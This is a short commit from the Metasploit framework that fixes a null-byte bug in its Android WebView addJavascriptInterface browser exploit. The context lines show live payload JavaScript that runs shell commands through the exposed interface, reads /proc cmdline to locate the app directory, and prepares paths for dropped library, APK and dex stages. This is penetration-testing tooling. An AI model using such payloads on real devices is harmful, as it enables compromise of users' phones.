Avoid the nullchar.

modules/exploits/android/browser/webview_addjavascriptinterface.rb

@@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
         // $PPID does not seem to work on android 4.0, so we concat pids manually
         var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
         var ch, path = '/data/data/';
-        while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); }
+        while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
         var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
         var stagePath = path + '/#{stagename}.apk';
         var dexPath = path + '/#{stagename}.dex';